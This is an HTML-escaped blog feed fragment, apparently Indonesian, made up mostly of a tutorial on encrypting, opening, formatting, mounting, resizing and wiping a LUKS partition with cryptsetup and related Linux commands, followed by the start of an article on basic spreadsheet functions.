&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Setelah itu, akan muncul 2 prompt:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Konfirmasi untuk mengenkripsi partisi, kita bisa ketik &lt;strong&gt;YES&lt;/strong&gt; jika ingin melanjutkan.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Passphrase&lt;/em&gt; atau &lt;em&gt;password&lt;/em&gt; yang digunakan untuk meng-&lt;em&gt;encrypt&lt;/em&gt; dan men-&lt;em&gt;decrypt&lt;/em&gt;. Gunakan passphrase yang tidak mudah ditebak tapi tidak mudah dilupakan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Encrypting a partition&quot; loading=&quot;lazy&quot; width=&quot;541&quot; height=&quot;331&quot; src=&quot;/_astro/ss1.C93Gqaa2_Z1wky9F.webp&quot; /&gt;&lt;figcaption&gt;Encrypting a partition&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Membuka partisi 🔑&lt;a href=&quot;#2-membuka-partisi-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, kita akan membuka partisi sebelumnya yang sudah diformat dengan LUKS:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cryptsetup&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;test&lt;/code&gt; adalah nama partisi yang terenkripsi tadi. Nama ini hanya sementara. Jadi, bisa diganti ketika kita membuka partisi ini lagi nanti.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sekarang, bandingkan partisi yang belum dibuka dengan yang sudah dibuka dengan &lt;code&gt;lsblk&lt;/code&gt;. Sekarang, kita memiliki sebuah partisi baru yang ter-&lt;em&gt;decrypt&lt;/em&gt; yang bernama &lt;strong&gt;“test”&lt;/strong&gt; di &lt;code&gt;/dev/sda3&lt;/code&gt;. :&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Opening up the encrypted partition&quot; loading=&quot;lazy&quot; width=&quot;570&quot; height=&quot;358&quot; src=&quot;/_astro/ss2.CE-EEu9A_1SrVVn.webp&quot; /&gt;&lt;figcaption&gt;Opening up the encrypted partition&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Hal penting lainnya yang perlu dicatat juga di tahap ini adalah bahwa partisi yang sudah didekripsi akan muncul di &lt;strong&gt;&lt;code&gt;/dev/mapper&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Memformat filesystem&lt;a href=&quot;#3-memformat-filesystem&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita perlu membuat format &lt;em&gt;filesystem&lt;/em&gt; baru ke partisi ini.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Kita hanya perlu melakukan ini di awal saja:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkfs.ext4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/mapper/test&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mkfs.ext4&lt;/code&gt; adalah nama filesystem standard untuk linux. Silakan disesuaikan dengan kebutuhan.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/mapper/test&lt;/code&gt; adalah nama partisi terdekripsi yang sudah saya buat sebelunnya.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Perhatikan bahwa &lt;em&gt;formatting&lt;/em&gt; filesystem ini kita lakukan ke &lt;code&gt;/dev/mapper/test&lt;/code&gt;, bukan lagi ke &lt;code&gt;/dev/sda3&lt;/code&gt;!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Creating partition&apos;s filesystem&quot; loading=&quot;lazy&quot; width=&quot;704&quot; height=&quot;328&quot; src=&quot;/_astro/ss3.A8MoHU5w_2uKymE.webp&quot; /&gt;&lt;figcaption&gt;Creating partition&apos;s filesystem&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Mounting partisi 🛄&lt;a href=&quot;#4-mounting-partisi-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah terakhir sebelum partisi ini dapat digunakan adalah me-&lt;em&gt;mounting&lt;/em&gt;-nya ke direktori tertentu.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/mapper/test&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/mnt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/dev/mapper/test&lt;/code&gt; adalah nama partisi yang sudah dibuat sebelumnya.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/mnt&lt;/code&gt; adalah lokasi yang saya inginkan sebagai tempat partisi &lt;code&gt;/dev/mapper/test&lt;/code&gt; dipasang.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mounting partition&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;292&quot; src=&quot;/_astro/ss4.BMdnh8my_qr1lj.webp&quot; /&gt;&lt;figcaption&gt;Mounting partition&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar, partisi &lt;code&gt;/dev/mapper/test&lt;/code&gt; sudah terpasang ke &lt;code&gt;/mnt&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Sekarang, kita sudah bisa menggunakan (mengisinya dengan file &amp;amp; folder) partisi tersebut. Misalnya, saya akan mengisinya dengan sebuah direktori/folder bernama &lt;strong&gt;“secret-dir”&lt;/strong&gt; dan sebuah file teks bernama &lt;strong&gt;“secret-file.txt”&lt;/strong&gt; di dalamnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Creating a folder and a file&quot; loading=&quot;lazy&quot; width=&quot;694&quot; height=&quot;289&quot; src=&quot;/_astro/ss5.BKePKMgg_27AgIN.webp&quot; /&gt;&lt;figcaption&gt;Creating a folder and a file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Unmount partisi 🛅&lt;a href=&quot;#5-unmount-partisi-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah selesai menggunakan partisi tersebut, kita bisa meng-unmount-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;umount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/mnt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/mnt&lt;/code&gt; adalah tempat dimana partisi tadi terpasang.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Unmounting partition&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;261&quot; src=&quot;/_astro/ss6.Dcg0y3Ck_Z4N6Uo.webp&quot; /&gt;&lt;figcaption&gt;Unmounting partition&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, partisi &lt;code&gt;/dev/mapper/test&lt;/code&gt; sudah terlepas dari &lt;code&gt;/mnt&lt;/code&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;6. Menutup partisi 🔐&lt;a href=&quot;#6-menutup-partisi-&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ketika sudah tidak digunakan lagi, pastikan kita menutup partisi tersebut agar ketika misalnya komputer atau disk/drive kita di-&lt;em&gt;hack&lt;/em&gt;, data-data dalam partisi kita akan tetap aman karena kita sudah kembali mengenkripsinya kembali.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cryptsetup&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;close&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dan partisi tadi &lt;code&gt;/dev/sda3&lt;/code&gt; sudah ter-&lt;em&gt;encrypt&lt;/em&gt; kembali.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Close the partition&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;361&quot; src=&quot;/_astro/ss7.c7L5Gfua_Z1JPC58.webp&quot; /&gt;&lt;figcaption&gt;Close the partition&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;SELESAI!!!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The End&lt;a href=&quot;#the-end&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sampai di tahap ini, kita telah berhasil membuat enkripsi pada sebuah partisi di disk/drive. Jika kita ingin menggunakan partisi tersebut lagi, kita hanya perlu men-&lt;em&gt;decrypt&lt;/em&gt; partisinya dan me-&lt;em&gt;mounting&lt;/em&gt;-nya ke suatu direktori &lt;strong&gt;(langkah 2 &amp;amp; 4)&lt;/strong&gt;, dan jika sudah selesai, kita bisa kembali meng-&lt;em&gt;unmount&lt;/em&gt; dan meng-&lt;em&gt;encrypt&lt;/em&gt;-nya lagi &lt;strong&gt;(langkah 5 &amp;amp; 6)&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Misalnya, sekarang saya ingin menghapus file &lt;strong&gt;“secret-file.txt”&lt;/strong&gt; yang sudah dibuat sebelumnya dan menggantinya dengan file baru bernama &lt;strong&gt;“secrets.txt”&lt;/strong&gt;. Berikut adalah langkah-langkahnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;The cycle&quot; loading=&quot;lazy&quot; width=&quot;635&quot; height=&quot;555&quot; src=&quot;/_astro/ss8.C8w5kYNk_Z12ejYd.webp&quot; /&gt;&lt;figcaption&gt;The cycle&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Additional Info: POC&lt;a href=&quot;#additional-info-poc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kalau kita mencoba untuk me-&lt;em&gt;mounting&lt;/em&gt; partisi &lt;code&gt;/dev/sda3&lt;/code&gt; secara manual seperti biasa, tentu saja tidak akan berhasil karena kita sudah mengubah filesystem partisi tersebut ke format &lt;strong&gt;LUKS&lt;/strong&gt; dan tentu saja karena sudah di-&lt;em&gt;encrypt&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;POC&quot; loading=&quot;lazy&quot; width=&quot;725&quot; height=&quot;250&quot; src=&quot;/_astro/ss9.Wl6HOdHo_1pe7dz.webp&quot; /&gt;&lt;figcaption&gt;POC&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jadi, kalau kita ingin menggunakan partisi tersebut, kita harus melakukan 4 prosedur yang sudah dijelaskan sebelumnya.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Advanced Use&lt;a href=&quot;#advanced-use&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa tambahan yang menurut saya penting (terutama karena saya sudah mengalaminya):&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Mengubah ukuran partisi&lt;a href=&quot;#mengubah-ukuran-partisi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita ingin mengubah partisi yang terenkripsi tersebut (memperbesar/mengecilkan kapasitasnya), berikut adalah langkah-langkahnya:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Edit partisi&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menghapus partisi terenkripsi (saya menggunakan &lt;code&gt;cfdisk&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Menambah partisi baru dengan ukuran yang lebih sesuai.&lt;/li&gt;
&lt;li&gt;Otomatis, format LUKS-nya akan terbawa, jadi kita tidak perlu format ulang.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;2. Resize container LUKS&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Buka partisi terenkripsi (lihat &lt;a href=&quot;https://abwildan.github.io/tech/luks/#2-membuka-partisi-&quot; target=&quot;_blank&quot;&gt;Cara membuka partisi&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Pastikan sudah terdaftar di “mapper” (&lt;code&gt;/dev/mapper/&amp;lt;nama&amp;gt;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Resize&lt;/em&gt; container LUKS tersebut dengan perintah&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cryptsetup&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resize&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_mapper&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. Resize filesystem&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Resize&lt;/em&gt; filesystem-nya (kalau &lt;strong&gt;ext4&lt;/strong&gt;):&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resize2fs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/mapper/&amp;lt;nama_mapper&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Physical&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;partition&lt;/span&gt;&lt;span&gt; (/dev/nvme0n1p3)   → 20 GB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LUKS&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;container&lt;/span&gt;&lt;span&gt; (/dev/mapper/secret) → 20 GB &lt;/span&gt;&lt;span&gt;# sudo cryptsetup resize &amp;lt;nama_mapper&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ext4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;filesystem&lt;/span&gt;&lt;span&gt;                  &lt;/span&gt;&lt;span&gt;→&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;GB&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# sudo resize2fs /dev/mapper/cryptdata&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk memastikan sudah berubah, bisa gunakan salah satu dari perintah ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsblk&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;df&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Menghapus partisi&lt;a href=&quot;#menghapus-partisi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika seandainya (suatu hari nanti), Anda sudah tidak memerlukan partisi LUKS itu lagi, Anda mungkin akan menghapus partisi tersebut. Tapi masalahnya, secara default, format file system-nya LUKS tidak otomatis terhapus jika partisinya dihapus. Artinya, meskipun partisi tersebut terhapus, tapi ketika Anda akan menggunakan “blok” partisi yang dulu terdapat format LUKS di dalamnya ketika membuat partisi baru, otomatis file system-nya akan langsung menjadi LUKS lagi.&lt;/p&gt;&lt;p&gt;Oleh karena itu, sebelum menghapus partisi, alangkah baiknya menghapus format file system-nya terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wipefs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/&amp;lt;nama_partisi&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;menghapus format file system&quot; loading=&quot;lazy&quot; width=&quot;982&quot; height=&quot;441&quot; src=&quot;/_astro/ss11.DjFz1QsE_1EAYwW.webp&quot; /&gt;&lt;figcaption&gt;menghapus format file system&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Baru kemudian boleh dihapus, bisa dengan &lt;code&gt;cfdisk&lt;/code&gt; atau &lt;em&gt;tools&lt;/em&gt; partisi lainnya.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini di-inspirasi oleh video Youtube berikut:&lt;/p&gt;
&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Dm-crypt/Device_encryption&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Dm-crypt/Device_encryption&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html&quot; target=&quot;_blank&quot;&gt;https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/File_systems&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/File_systems&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Basic Excel (Spreadsheet) Functions - Part 2</title><link>https://shangdi.github.io/posts/tech/excel2/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/excel2/</guid><description>6 basic excel (spreadsheet) functions / formulas: SUMIF, CONCATENATE, MATCH, (LEFT, MID, RIGHT), (HLOOKUP &amp; VLOOKUP), TRANSPOSE</description><pubDate>Tue, 28 Jan 2025 03:33:42 GMT</pubDate><content:encoded>&lt;p&gt;Melanjutkan series Excel sebelumnya, di artikel ini, kita akan belajar menggunakan 6 fungsi dasar di Microsoft Excel atau Google Spreadsheet, yaitu &lt;strong&gt;SUMIF&lt;/strong&gt;, &lt;strong&gt;CONCATENATE&lt;/strong&gt;, &lt;strong&gt;MATCH&lt;/strong&gt;, &lt;strong&gt;(LEFT, MID, RIGHT)&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, &lt;strong&gt;(HLOOKUP &amp;amp; VLOOKUP)&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;, &lt;strong&gt;TRANSPOSE&lt;/strong&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Saya akan mendemokan rumus-rumus tersebut di Google Spreadsheet karena 2 alasan utama:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;fungi-fungsi tersebut masih dapat berfungsi persis seperti ketika digunakan di Microsoft Excel.&lt;/li&gt;
&lt;li&gt;saya tidak punya excel di linux (dan malas juga &lt;em&gt;install&lt;/em&gt; via wine).&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;
